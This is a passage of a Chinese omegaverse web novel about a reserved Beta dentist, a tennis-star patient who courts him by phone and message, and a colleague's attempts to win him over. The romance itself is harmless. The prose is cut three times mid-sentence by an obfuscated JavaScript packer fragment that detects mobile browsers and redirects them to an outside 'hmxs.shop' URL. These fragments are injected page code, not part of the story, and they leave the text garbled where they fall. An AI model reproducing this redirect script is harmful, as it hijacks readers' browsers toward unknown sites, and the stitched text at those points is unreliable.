哦,不对,中文是三个字。 或者更糟,连话都懒得说,直接一个眼神让他自己体会。 艾利欧几乎能想象出那个场景。 他下意识地摸了摸自己的右侧脸颊,那里其实并没有什么明显的不适。 所谓的“异样感”,此刻在那种莫名其妙的情绪对比下,微不足道。 他看着诊疗室的门,苏琼林估计已经结束了检查,正站在洗手池前冲洗双手,他能听见水流哗哗作响。 艾利欧忽然觉得有点待不下去了。 他不想在这种情况下和苏琼林打照面。 不想让对方觉得自己是那种会因为一点小事就大惊小怪、未经预约就跑来的麻烦患者,那样会显得他有点幼稚。 更重要的是,他需要点时间消化一下自己这奇怪的心情。 于是,在诊疗室内的苏琼林转身擦干手,准备走向门口之前,艾利欧下意识地向后退了一步,然后迅速转身,几乎是落荒而逃般地离开了诊所走廊。 助理小周正抱着一叠新病历从隔壁房间出来,只看到一个高大的金色背影在诊所大门口一闪而过。 她眨了眨眼,有点疑惑:“咦?刚才那个好像是卢茨先生?怎么来了又走了?” 诊疗室里,苏琼林完全不知道门外发生过这样一段小插曲。 他擦干手,走到电脑前,开始录入刚才的检查结果。 “釉质轻度磨损,色素轻微沉着。建议先进行一次深度检查,再评估是否适合冷光美白。”他语气平淡地对那位Omega患者说,“考虑好的话,可以去前台找助理预约。” 林先生似乎还想说什么,但在苏琼林那副“公事已毕,勿扰”的气场下,最终还是把话咽了回去,乖乖出去了。 诊疗室重新恢复安静。 苏琼林坐在电脑前,完善着病历记录。 至于某个金发Alpha患者曾短暂地在门口驻足又离开的事情,他全然不知。 而此刻,已经快步走出诊所、重新戴上墨镜的艾利欧,正站在街边,看着车水马龙,心里有点乱。 他抬手揉了揉自己那一头耀眼的金发,试图把脑子里那些乱七八糟的念头揉走。 真是见了鬼了。 他艾利欧·卢茨,什么场面没见过,什么时候因为一个医生……一个Beta医生……产生过这种扭捏又幼稚的情绪? 还“落荒而逃”? 传出去他还要不要面子了! 他深吸一口气,又缓缓吐出,试图找回平时那种掌控一切的自信。 一定是牙齿修复期间太敏感了。 对,一定是这样。 等牙齿彻底好了,这种莫名其妙的感觉自然就会消失。 他如此告诉自己,然后迈开长腿,朝着自己的车走去。 只是,走了几步,他又忍不住回头,看了一眼诊所所在的那栋建筑。 接下来就要去欧洲了。 啧。 14. 苏医生拒收礼物 那位眼睛滴溜溜转、心思完全不在牙齿美白上的Omega患者最终还是没有选择进行牙齿美白,不过倒是预约了下次来进行牙齿保养,也不枉费苏琼林的一番功夫。 又送走一个需要拔牙治疗的患者后,苏琼林摘下口罩,揉了揉眉心。 处理这种能量惊人的小患者,实在是太耗神。 说实话,他宁愿面对十颗疑难杂症的alpha标记牙,也不想应付一上治疗椅就扭腰蹬腿、抓着消毒棉花乱扔还总喊“有虫子”分神捣乱的幼崽。 缓缓吐了口气后,苏琼林坐回办公桌前,准备记录病历。 刚敲了几个字,休息室的门就被“咚咚”敲响。 “苏医生!苏医生!”小周几乎是蹦跶着进来的,手里拿着一个看起来相当精致的白色信封,眼睛圆溜溜的,“快看!卢茨先生派人送来的!写了苏医生亲启哦!” 嗯?什么事不发消息,反而写信? 苏琼林敲键盘的手指顿了一下,抬眼看向那个信封。 烫金的字体,质感上乘,一看就价值不菲。 小周已经把信封递到了他面前,苏琼林伸手接过。 里面有两张门票,比赛时间就是今晚,记忆力很好的苏医生很快就想起之前艾利欧提过的表演赛。 除了门票,还有一张小卡片。卡片上的字迹张扬有力,跟他主人一样存在感十足: 「聊表谢意,希望苏医生有空放松一下。无法当面致谢,抱歉。 ——艾利欧·卢茨」 放松?是指看网球比赛吗? 苏琼林想象了一下自己坐在一群狂热球迷中间,看着两个人在场上来回奔跑击球、挥汗如雨的场景…… 唔,好像对他来说,并没有太大的吸引力。 他拿起门票看了看,VIP包厢,位置绝佳,估计价格不菲。 然后,他面无表情地把门票连同卡片一起放回了信封,推到桌子另一边。 “退回去吧。” 小周满脸诧异,眼睛瞪得圆圆的,像是没听懂:“啊?退、退回去?苏医生,这可是艾利欧·卢茨送的比赛诶!很难得的!” 她刚刚一眼就看到那两张票了。 “就是太难得了,才不收。医患关系,要注意彼此的距离。” 而且对不爱做运动的自己而言,看比赛哪有研究病例有意思。尤其是研究那些alpha标记牙被拔掉安上种植牙的案例,前普通人现beta苏琼林真的觉得很有意思。 小周张了张嘴,还想再争取一下,但看到苏琼林那副“此事已定,无需再议”的表情,只好蔫蔫地拿起信封,小声嘀咕:“哦……好吧……我这就去联系退回……” 苏医生什么都好,但不知道为什么坐在办公室里的时候就像个独断专行的暴君一样,容不得违逆。 但艾利欧的比赛门票诶,真的好可惜~ 她一步三回头地往外走,仿佛手里拿的不是门票,而是什么被辜负的稀世珍宝。 苏琼林没理会恨不得走三步退两步的小周,继续低头写他的病历。 小周虽然嘴上可惜,但行动力很强,苏琼林的病历还没写完,电话就响了。 他随手接起。 电话接通,那边立刻传来艾利欧·卢茨活力十足的声音,背景音有些嘈杂,像是在某个开放空间:“苏医生!门票收到了吗?怎么样,今晚有空吗?那场比赛绝对精彩,我保证你看完会觉得不虚此行!” 哦,不是小周行动力强,而是这家伙来“推销”了。 苏琼林把手机拿得离耳朵稍远了些。 Alpha的嗓门和精力总是这么充沛吗? “卢茨先生,心意领了。门票不便接受,我已让小周退回。”苏琼林直接打断对方的热情推介。 电话那头安静了两秒,隔着手机,苏琼林莫名其妙能想象出对方瞬间垮掉一点的笑容和可能微微睁大的蓝眼睛。 “……退了?”艾利欧的声音里带着明显的失落,但很快,语调又重新扬起,“好吧,是我考虑不周。苏医生原则性真强。” 他顿了顿,话锋一转:“那既然这样的话,作为补偿,苏医生你得答应我一个小要求。” 补偿?苏琼林觉得这逻辑有点莫名其妙,他都没接受对方的赠票,怎么反倒欠对方一个要求了? “什么要求?”他倒想听听这神奇的alpha还能找出什么理由。 “我今晚这场表演赛一结束,马上就要飞欧洲进行下一站比赛了,到时候肯定会有时差。万一,我是说万一,牙齿有什么紧急情况,比如裂纹扩大了,或者突然疼得厉害,打你的工作号码可能找不到人。能不能加一下你的私人联系方式?比如常用的聊天软件?我保证,除非是牙齿相关的紧急情况,绝不随便打扰!” 艾利欧说得条理清晰,理由充分。 可是打我的工作号码不可能找不到我,因为我的手机是双卡双待。 苏琼林握着手机,沉默了一下。 他不太喜欢不必要的社交,下班后更是不想再和与工作相关的人有交流。 但艾利欧的这个理由,确实戳中了一个医生对患者随访负责的点。 S级Alpha运动员,全球奔波,牙齿问题又直接关系到比赛状态。 嗯,还有Alpha的尊严。 万一真有什么突发状况,能直接联系上主治医生,确实是最稳妥的方案。 但他的工作号码跟私人号码真的在同一个手机上,虽说工作号码到时间会开飞行模式,但普通人也没必要弄两部手机吧。 不过要是这样跟艾利欧说的话,总觉得对他专业的牙医形象不利。 而且考虑到艾利欧的特殊身份和牙齿问题的确需要密切观察,苏琼林权衡再三,最终还是妥协了。 “可以,但仅限牙齿相关问题。” “当然!绝对只谈牙齿!”艾利欧答应得飞快,声音里的喜悦几乎要透过手机屏幕溢出来。 苏琼林没有透露自己的手机号,而是报出了自己那个头像都是系统默认灰白图案的私人社交账号号码。这账号他一直在登录,但几乎从不闲聊,朋友圈更是荒芜得像月球表面。 “记下了!我这就加!”艾利欧的声音雀跃不已,“那不打扰苏医生了,下次见!” 电话挂断,办公室恢复了安静。 苏琼林放下手机,看着电脑屏幕,心里有点说不清的微妙感。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696208|188968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 好像……被套路了? 几分钟后,放在桌角的手机屏幕亮了一下,提示有一条新的好友申请。 头像是一个卡通狮子的图案,昵称简单直接:ElioLutz。 苏琼林通过验证。 几乎是在瞬间,聊天界面就跳出了一条新消息。 「苏医生,这是艾利欧·卢茨。备注一下:)」 后面跟了个傻乎乎的笑脸符号。 苏琼林盯着那个笑脸看了两秒,面无表情地回复了一个字: 「嗯。」 然后顺手将备注修改为“艾利欧·卢茨(患)”。 做完这一切,他便将手机屏幕朝下扣在桌上,重新将注意力集中到未完成的病历记录上。 至于刚刚加上好友正反复点开那个空白头像和空荡朋友圈傻笑的艾利欧·卢茨,从门票被拒的短暂失落到匆忙注册账号的手忙脚乱到成功“入侵”私人领域的巨大喜悦,内心到底经历了什么,苏医生并不关心,也想象不到。 另一边,艾利欧抱着手机,看着那个孤零零的“嗯”字和空无一物的朋友圈,嘴角却咧到了耳根。他反复看着那条系统提示“你已添加了苏医生,现在可以开始聊天了”,心里盘算着下次该用什么“正当理由”发消息才不会被苏医生拒收。 至于之前刚出诊所时的那点踟蹰,早已被他置之脑后。 既然想要,那就进攻吧。 …… 诊所的工作按部就班。 临近下班时,苏琼林去休息室倒水,正好碰到刚从隔壁诊室出来的顾云深。 顾云深依旧是一身熨帖的白大褂,脸上带着惯有的温和笑意。 他看到苏琼林,脚步微顿,笑着点了点头:“苏医生。” “顾医生。”苏琼林颔首回应,侧身让过。 顾云深的目光在苏琼林脸上停留了一瞬,像是随口问道:“刚才好像听到苏医生在办公室接电话?听起来不像是在讨论病例。” 苏琼林喝了口水,语气平淡:“一个患者的电话。” “哦?”顾云深镜片后的眼睛微微闪了闪,语气依旧温和,“患者们都好像很依赖苏医生的专业。” 苏琼林“嗯”了一声,没多解释。 毕竟他不觉得这有什么值得讨论的。 顾云深看着苏琼林淡漠的侧脸,眼神若有所思,但很快又恢复了之前的温文尔雅:“就不打扰了,我先去忙。” 他礼貌地示意了一下,转身离开。 苏琼林看着顾云深的背影,觉得这位新同事观察力未免有点过于细致了。连他接个电话都能注意到? 不过他也没多想,只当是同事间的普通寒暄,毕竟有些人天生话多。 他喝完水,回到办公室,继续处理最后一点工作。 当他终于关上电脑,准备离开时,窗外又是华灯初上了。 他拿起那个几乎没什么存在感的手机,解锁看了一眼。聊天界面还停留在那个孤零零的“嗯”字上,没有新的消息。 很好。 苏琼林心想。 他锁上屏幕,将手机塞进口袋,走出了诊所。 现在,是属于他一个人的时间。 15. 其实不爱喝咖啡的苏医生 苏琼林的个人时间,通常也不是很有趣。 因为两个世界的差异,利用原主身份完成学业时,他所有心思几乎都放在学习上,导致了在学校里并没有交情过硬的朋友。工作后,又因为性别的关系,不太爱参加各种以AO为主角的聚会。 是以他的夜生活基本上都是在家度过。 下班回家,脱下沾染了消毒水气息的外衣,换上舒适的家居服。 晚餐也不再是精确计算过营养配比的轻食,他自己的厨艺只能勉强归入“可食用”范畴,所以晚上他一般会在外卖平台上精心挑选一款色香味俱全的外卖。 之后的时间,则分配给专业文献、病例研究以及个人的小小爱好。至于小小的爱好是什么,倒不是什么难以启齿的话题,只是没有必要细提。 之后,就在固定的时间躺上床,陷入无梦的睡眠。他的睡眠质量向来很好,通常能一觉睡到闹钟响起来。 按理说,今晚也不例外。 然而,他习以为常的按理说,却在今夜被突兀地打破了。 他已经陷入沉睡,床头柜上的手机屏幕却毫无征兆地突然亮起,嗡鸣声在万籁俱寂的房间里显得格外刺耳。 一次,两次,接连不断。 苏琼林的眉头在黑暗中蹙紧,下意识地拉高了些许被子,试图屏蔽这恼人的噪音。 但发送信息的人显然不懂“适可而止”为何物,消息一条接一条。 可恶,睡觉前忘了开启防干扰模式了。 主要是之前也没人半夜骚扰他,久而久之,就忘了还有这个功能了。 最终,他带着一股低气压,闭着眼,伸手摸索到手机,勉强睁开一条缝看向屏幕。 信息来自那个卡通狮子头像。 先是好几张图片,灯火通明的球场,人山人海的观众席,角度随意,透着点现场直拍的混乱感。 紧接着,是一段语音。 苏琼林面无表情地点开。 “苏医生!赢了!我赢了!我刚才那个制胜分太漂亮了!你看到了吗?……哦对,你肯定睡了。” 艾利欧的声音透过听筒传来,背景嘈杂喧闹,夹杂着模糊的欢呼和旁人的说话声。 他听起来兴奋得有点语无伦次,嗓音比平时更高,还有运动后特有的喘息和沙哑,那股快活劲儿几乎要溢出屏幕。 “但还是想告诉你!” 语音到此为止。 过了几秒,又一条文字信息跳出来:「抱歉,太高兴了,忘了时差。你继续睡。」 苏琼林面无表情地盯着屏幕,大脑因为被强行开机而运转迟缓。 这人是不是打完比赛,肾上腺素和多巴胺一起超标了? 大半夜的,就为了说这个? 苏琼林把手机扔回床头柜,发出沉闷的一声“咚”。他重新闭上眼,试图抓住残留的睡意。 无聊。而且严重打扰医生的睡眠。 脑子里是这么判断的,但几分钟后,他发现自己的意识比刚才清醒了不少。 耳边似乎还在回响着那个金发Alpha过于有活力的声音,以及背景音里那些模糊的“Elio!Champion!”的呼喊。 他翻了个身,把脸埋进枕头里。 真吵。 片刻后,他猛地坐起身,再次拿过手机。 他面无表情地打字,指尖带着点被吵醒的怨气,回了一个字: 「哦。」 发送。 很好,足以表达“已阅,并且对你的兴奋持保留态度”以及“别再发了”的双重含义。 他放下手机,重新躺倒。眼睛刚闭上不到三秒,又倏地睁开。 算了。 他再次拿起手机,冷着脸补充了两个字: 「恭喜。」 这次,他干脆利落地把手机调成了静音,屏幕朝下扣在桌上,彻底隔绝了任何再次被打扰的可能。 世界重归寂静,他翻了个身,用被子蒙住头,将那个金发Alpha过于有活力的声音从脑子里驱逐出去。 嗯,仁至义尽了。 * 与此同时,地球另一端,刚刚赢得比赛、还在球员休息区接受完简单采访的艾利欧,正一边走向停车场,一边迫不及待地掏出手机。 他几乎是在打开对话界面的同时,就看到了屏幕上跳出的新回复。 先是一个孤零零的「哦」。 艾利欧脸上的灿烂笑容瞬间僵了一下。 苏医生果然……很苏医生。 但紧接着,下面几乎紧跟着跳出来的「恭喜」二字,瞬间让他心里那点小失落烟消云散。 艾利欧眼睛唰地亮了,他抱着手机,几乎能脑补出苏琼林被吵醒后,一脸不情愿却又勉强维持礼貌,打下这两个字的样子。 滤镜八百米厚的网坛巨星自动忽略了那个冰冷的“哦”,全部注意力都集中在了“恭喜”上。 看!他就说苏医生是外冷内热!嘴上不说,行动上还是给了祝福的! 虽然只有两个字,但这对苏医生来说,绝对是破例了吧? 艾利欧抱着手机,反复看着那两条加起来才三个字的回复,湛蓝色的眼睛里漾着满满的笑意,左边脸颊的小梨涡深深陷下去。 他甚至开始觉得,苏医生说不定只是害羞,或者不擅长表达。 苏医生亲自打的“恭喜”,这待遇,别人有吗? 他心满意足地把手机捂在胸口,感觉这个冠军的夜晚,因为这两个字的“恭喜”,变得更加圆满起来。 * 翌日清晨,闹钟及时将苏琼林唤醒。他按掉闹钟,坐起身,还有些困倦,但已经习惯性地伸手拿过手机,查看是否有需要紧急处理的工作信息。 屏幕解锁,除了几条系统推送,却只有那个卡通狮子头像发来的消息。 时间显示正是几分钟前。 点开,首先映入眼帘的是一张照片。深邃的夜空下,异国城市璀璨的灯火如同洒落的星河,宁静而遥远。 下面附了一条文字信息: 「苏医生,刚回到酒店。这边夜景还挺漂亮的,分享给你。【图片】」 苏琼林的目光在照片上停留了两秒。 换算一下时间,那边发信息时应该是凌晨一两点了。赢了比赛,折腾到凌晨,还有精力拍夜景发过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696209|188968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 作为运动员,就这作息? 他面无表情地放下手机,起身洗漱。等换好衣服,准备出门前,他又瞥了一眼那个对话框。 出于一种他自己也难以解释的心态,他拿起手机,言简意赅地回复了一个字: 「哦。」 发送。 然后彻底关掉屏幕,将手机塞进口袋,出门上班。 * 牙科诊所里,消毒水的气息一如既往地统治着这片空间。 苏琼林照常上班,白大褂一丝不苟,表情淡漠如常,仿佛昨天深夜被信息骚扰的人不是他。 他沉浸在手头的工作里,直到午休前,诊疗室的门被轻轻敲响。 顾云深端着一杯咖啡走了进来。 精致的骨瓷杯,上面没有花哨的logo,只有细腻的釉色,一看就和他这个人一样,讲究得不动声色。 浓郁的咖啡味道,瞬间冲淡了周遭的消毒水味,显得格外突出。 “苏医生,”顾云深声音清朗,“尝尝这个?朋友从海外庄园直接带的豆子,味道很纯净,我觉得你会喜欢。” 苏琼林抬眼,目光先落在那杯咖啡上。深褐色的液体,香气确实比他平时喝的罐装黑咖啡诱人得多。他本想习惯性拒绝,但鼻尖萦绕的香气让他迟疑了一瞬。 他昨晚睡眠质量被人为降低,现在确实需要点提神的东西。而且,新同事特意送过来的咖啡,再拒绝就影响同事关系了。 虽说苏医生自认为跟新同事也没什么关系。 “谢谢。”他接过杯子,低头尝了一口。 嗯,口感醇厚,酸苦平衡,带着果木的香气,确实不错。但对他而言,还是跟他罐装的“苦水”差不多。 “不错。”他面无表情地给了“客观”的评价。 顾云深脸上的笑意加深了些,顺势就想聊下去:“喜欢就好。这种豆子产量很少,下次有机会……” 然而苏琼林在给出评价后,便已低下头,视线重新聚焦在桌上的病历本上,只是偶尔从喉咙里发出一个单音节“嗯”,表示他在听,虽然大概率没听进去。 顾云深看着他专注的侧脸,明白对方的心思完全不在自己精心准备的咖啡和话题上。他眼中闪过一丝不易察觉的挫败,但脸上温和的笑容并未褪去。他没有再强行打扰,只是礼貌地笑了笑,说了声“不打扰苏医生了”,便默默离开了诊疗室。 一直在外面偷偷观察的小周,把这一幕尽收眼底。她眨巴着圆眼睛,内心疯狂脑补:顾医生又来了!苏医生还是老样子!哎呀,这种一个温和进攻一个完全不开窍的戏码,她到底要围观到什么时候? 苏琼林完全没留意到小周丰富的内心戏,也没把顾云深的举动放在心上。 他只是在顾云深离开后,又喝了一口那杯确实不错的咖啡。 放下咖啡杯,他准备继续工作。目光扫过安静的手机时,动作微微顿了一下。 今天白天,那个“艾利欧·卢茨(患)”的账号,倒是意外的安静。 嗯,很好。看来是认识到深夜骚扰医生的不对了。 苏医生满意地想,又喝了一大口“苦水”。 16. 并不迟钝的苏医生 崭新的一天,依旧是千篇一律的日程。 刚到诊所,助理小周就已经立马迎了上来,圆圆的眼底带着点显而易见的担忧。 “苏医生,上午第一位预约的张先生已经到了,在诊疗室等着呢。他看起来挺焦虑的,一直翻手机,也不仔细看,就一直翻。” 苏琼林点了点头。 焦虑是这里的常态,尤其是在这个把标记牙看得比命还重的世界,他早已习惯。 他套上一丝不苟、熨帖得没有半丝褶皱的白大褂,确认袖口挽起的弧度都符合他一贯的标准,这才迈步走向诊疗室。 刚推开诊疗室的门,一股带着点苦涩焦灼气息的Alpha信息素味道便飘了过来。对方还有克制的意识,所以味道不算浓烈,但足以显示主人不平静的内心。 听到声响,身穿深色西装、身形还算挺拔的Alpha立刻从椅子上弹了起来,像只受惊的羚羊。 他看起来三十岁上下,面容称得上英俊,一副社会精英人士的模样,但眉宇间化不开的焦虑和紧抿的嘴唇让他显得有些憔悴。 “苏医生,您好。”他声音有些发干,伸出手想握手,又似乎觉得不合时宜,尴尬地缩了回去,手指不自觉地互相搓着,“我叫张维。” 看来确实有点焦虑过头了。 “请坐。”苏琼林看了看他不自在的动作,自己坐到了电脑前,“张先生,先请说说您的情况。” 像是终于找到了宣泄口,张维的话匣子一下子打开了:“苏医生,我和我男朋友在一起五年了,感情一直很好,真的。可就因为我这右侧犬牙,”他下意识摸了摸自己的右脸颊,“标记一直都成功不了。他上个星期搬出去了。”他说到这里,声音明显低了下去,带着难以掩饰的哽意,“他说,标记不成功,算什么真正的伴侣……之前也看过别的医生,都说位置太敏感,结构复杂,都建议我拔了这颗原生犬牙,种一颗假的。可他……他当时就说了,他不想被假牙标记……苏医生,我真的是没办法了,听朋友说您这里技术好,处理疑难杂症有办法,才赶紧预约……” 唔,再不说话,对方看起来要哭了。不过要是安慰他的话,应该也会哭吧。 啧,alpha! 苏琼林索性过滤了那些情绪化的与牙齿无关的倾诉,直接拿起口镜和探针,示意他躺好:“我需要先做个基础检查。” 张维顺从地躺下,紧张地张开嘴。 苏琼林俯身,调整好头顶的暖白色无影灯,光线精准地打入口腔。 他先观察牙齿外观,然后使用口镜反射,仔细检查着右侧犬牙的每一个面,特别是内侧和咬合面。牙冠形态看起来没有明显的缺损或畸形,然后他又皱着眉看了看左侧犬牙。 接着,他用探针的尖端,非常轻巧地依次触碰牙齿的各个点位。 “这里感觉怎么样?” “呃,有点酸……” “这里呢?” “没、没什么感觉。” 检查完毕,苏琼林直起身,动作利落地摘下手套扔进医疗废物桶:“初步检查,你的犬牙本身没有龋坏或严重磨损。根据你的主诉,我本来怀疑是咬合面存在非常细微的角度偏差。” “但经过刚刚的初步检查,你的情况,比单纯一侧犬牙角度偏差要复杂一些。”他在电脑上调出一张口腔结构示意图,示意张维过来看,“现在我能确定的是,你右侧犬牙的咬合面确实存在角度偏差,这会压迫信息素导管开口。但问题不止于此。” 他用鼠标光标在示意图上画了个圈:“更关键的问题在于,你的下颌骨存在极其轻微的先天性不对称。这种不对称在日常生活中几乎无法察觉,但在标记时,它会放大右侧的角度偏差。同时,它会迫使你下意识更多地依赖左侧犬牙进行代偿性发力。” 他看向张维:“这就导致了两个问题:第一,右侧导管受压,信息素注入不畅;第二,左侧犬牙因长期过度代偿,牙釉质已出现应力性微裂纹,平时无感,但在标记瞬间集中受力时,会产生酸痛,同样无法完成有效注入。” 张维听得愣住了,医生说得有点专业,但他还是听明白了。 他下意识地摸了摸自己的左脸,喃喃道:“是……是的,苏医生您这么一说,我想起来了,有时候左边牙齿用力时,确实会突然酸一下,我还以为是敏感……” “不是敏感,是结构性问题。”苏琼林打断他,“你之前看的医生,可能只注意到了右侧明显的问题,建议拔除。或者,他们看出了双侧都有问题,但认为同时进行双侧高精度咬合重建和应力裂纹修复的风险太高,所以给出了最保守的方案。拔掉问题更明显的右侧,种植一颗,至少先解决一边。” 他顿了顿,看向张维,黑色的眸子冷静而专注:“但我的判断是,拔掉任何一边,都是治标不治本。拔右侧,你左侧的应力裂纹会在失去代偿后加速扩展,甚至可能彻底崩裂。拔左侧,你右侧的角度偏差和下颌不对称问题依然存在,单靠一颗种植牙,无法完美重建那种精密的动态咬合平衡。” 张维的心脏几乎提到了嗓子眼,声音发紧:“那……那您的意思是?” “我的方案是,双侧同时进行显微修复。右侧,进行高精度咬合重建,解除对导管的压迫。左侧,进行渗透树脂修复,封闭那些微裂纹,恢复牙体强度。这是一个整体性的治疗方案,目标是同时恢复你双侧犬牙的健康与功能,从根本上解决你的问题。难度很高,但对你的长期健康和功能来说,是最优解。” 他看着张维,清晰地给出了选择:“你可以选择只处理右侧,暂时缓解主要矛盾。但我个人建议,接受双侧修复方案。当然,最终决定权在你。” 张维几乎没有任何犹豫,斩钉截铁地说:“我做!苏医生,就按您说的,做双侧修复!” 苏琼林点了点头,不再多言,开始开具包括双侧牙齿在内的详细CT检查单。 “这个方案需要你慎重考虑。毕竟,它与其他医生的建议差异很大,也更为复杂。”他将检查单递过去,语气平静,“你可以先去把CT拍了,拿到最精确的影像数据。然后,不必立刻做决定。回去仔细想想,也和你的伴侣沟通一下。如果决定接受这个方案,再联系我的助理小周预约后续的治疗时间。” 张维接过检查单,手指微微颤抖,先前那股破釜沉舟的冲动稍稍冷却,他确实需要时间消化这个复杂的信息。 “好的,苏医生,谢谢您……给我指明了另一条路。我会认真考虑,尽快给您答复。”他的声音比刚才低沉了些,眼神复杂地看了看手中的检查单,又看了看苏琼林,这才道谢离开,脚步不像来时那么急切,反而显得有些沉重。 他理解对方的迟疑,在ABO世界,哪有alpha不重视标记能力的? 送走这位情绪起伏堪比过山车的Alpha患者,苏琼林回到办公桌前,继续开始工作。 时间过得很快,转眼又到了午休时间。 他今天不太想去休息室,就将诊疗室门关上,拿出自己的午餐盒。他的午餐没什么奇怪的味道,就是几块水煮鸡胸肉、几朵西兰花和一小撮黑米饭,看上去健康极了,让人没胃口极了。 午休时间结束后,下午的诊疗工作又继续按部就班地进行。 处理了几个常规的洗牙和补牙病例后,诊疗室的门被再次敲响。 顾云深拿着平板电脑走了进来。 “苏医生,没打扰你吧?”他语气自然地将平板递过来,“关于昨天下午你提到的那篇信息素导管显微修复的论文,我晚上回去又仔细琢磨了一下,特别是关于导管吻合角度的部分,有几个新的想法,觉得可能值得探讨一下,想听听你的意见。” 苏琼林点了点头,接过平板,指尖在冰冷的屏幕上快速滑动,浏览着顾云深新标注出的数据和模拟图示。 “调整15度是基于力学分布最优化和术后软组织愈合空间的最大化计算。”他指向屏幕上某个复杂的受力分析图,“角度再大,会过度切削邻近的健康牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696210|188968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体结构,增加远期风险;再小,则无法有效解除压迫,效果不显著。这个度需要卡得很准。” 顾云深的眼睛微亮,身体微微前倾:“确实,这个平衡点非常微妙,很难把握。苏医生你对这些细节的掌控和计算,总是这么精准到位,令人佩服。”他顿了顿,语气极其自然地切换了话题,“对了,苏医生晚上有空吗?诊所附近新开了家日料店,我们可以找个安静的位置,边吃边聊,或许能碰撞出更多思路?” 日料还是算了吧。 苏琼林的视线已经从平板屏幕上移开:“不了。晚上要整理病例,没空。” 顾云深脸上的笑容淡了些,但立刻又恢复如初,他从容地接过平板,分寸感把握得极好:“好吧,看来苏医生是真正的工作狂。那就不耽误你宝贵时间了,下次有机会再聊。” 他笑了笑,转身离开,步伐依旧从容不迫。 他刚带上门,小周就借着送消毒好器械的机会溜了进来,压低声音,脸上带着压抑不住的八卦兴奋:“苏医生!顾医生又来了!这都第几次了?送咖啡、分享论文、讨论学术,现在还邀请共进晚餐!顾医生肯定是想追你吧?你难道一点都没感觉出来吗?” 她圆溜溜的眼睛里写满了“你快醒醒”。 苏琼林正低头在病历上写着记录,有些无语地看向小助理:“怎么可能?” “怎么不可能?!”小周几乎要跺脚,“这么明显!他看你的眼神都不一样!” 哪有什么眼神? 苏琼林终于抬起头:“像顾医生这样专业且自身是Alpha的同行,肯定能深刻理解AO标记在他们的生物学本能和社会身份中意味着什么。一个条件优越的Alpha,无论从繁衍驱动还是社会认同角度,选择一个无法被标记的Beta作为伴侣,都违背他的天性。” 小周被这番毫无浪漫细胞的长篇大论噎得直翻白眼,张了张嘴想反驳,又觉得跟自家这位理性至上的医生讨论风花雪月纯属对牛弹琴,最后只能抱着“皇帝不急急死太监”的无奈心情,悻悻地抱着托盘出去了。 苏医生这种性格,还不知道什么时候能脱单呢! 苏琼林对她的话完全没往心里去。 本来他自己也想象不出来在这个信息素主导的世界里找对象的情景。 不过,就算要找,也会找个跟自己一样的beta吧。 临近下班,手机嗡嗡震动了一下。 屏幕亮起,是那个锲而不舍的卡通狮子。 「苏医生!我明天比赛一结束就立刻订机票回去!归心似箭!复诊能不能提前?我想让你早点帮我检查一下护齿有没有磨损,顺便看看牙齿恢复情况!(眼巴巴.jpg)」 苏琼林看着“提前复诊”和“归心似箭”这几个字,几乎能透过屏幕看到对方那头金发下灼灼期待的眼神和左边脸颊那个因为笑意而深陷的小梨涡。 他面无表情地查了一下日程表,回复:「可以,下周三上午九点。」 回复完,他干脆利落地关掉电脑,站起身,脱下白大褂仔细挂好。 走在回家的路上,傍晚的风吹拂在脸上,稍稍驱散了诊所里萦绕不散的消毒水味。 他想起张维通红的眼眶和那句“标记不成功就不算真正的伴侣”,想起艾利欧那些没话找话、充满活力的信息,想起顾云深看似温和实则步步为营的试探。 他不是个迟钝的人,自然有所觉察。 但这个世界的人,总把“标记”这件事,看得比牙齿本身的结构健康,甚至比两个独立个体之间的情感联结还要重。 而他,只是一个普通的牙医。 感情?那不在他的专业范畴之内。 他摇了摇头,仿佛这样就能把这些纷乱的杂念从过于理性的大脑中甩出去。 而地球的另一端,刚刚结束训练的艾利欧,看着“下周三上午九点”那几个汉字,嘴角控制不住地咧开了一个大大的灿烂无比的笑容,左边脸颊的小梨涡欢快地深陷下去。 17. 顾医生要联系方式 新的一天,诊所里依旧被消毒水味笼罩着,充斥着一种井然有序的安静。 苏琼林刚送走一位来做定期检查的老先生,正低头在流水下仔细冲洗双手。冰凉的水流冲刷过他修长的手指,带走最后一丝滑腻的洗手液泡沫。他用一次性擦手巾慢条斯理地吸干水分,连指缝都没放过。 接下来预约的患者是张维,那位因为双侧犬牙问题导致标记失败、感情濒危的Alpha。 张维来得比预约时间稍早一点,眼底带着睡眠不足的青黑,但精神看起来比上次那种濒临崩溃的绝望要稳定一些。他走进诊疗室时,甚至勉强对苏琼林扯出了一个不算自然的笑容。 “苏医生。” “嗯,坐。”苏琼林指了指诊疗椅,自己则坐到电脑前调出他的病历和CT影像,“考虑得怎么样?” 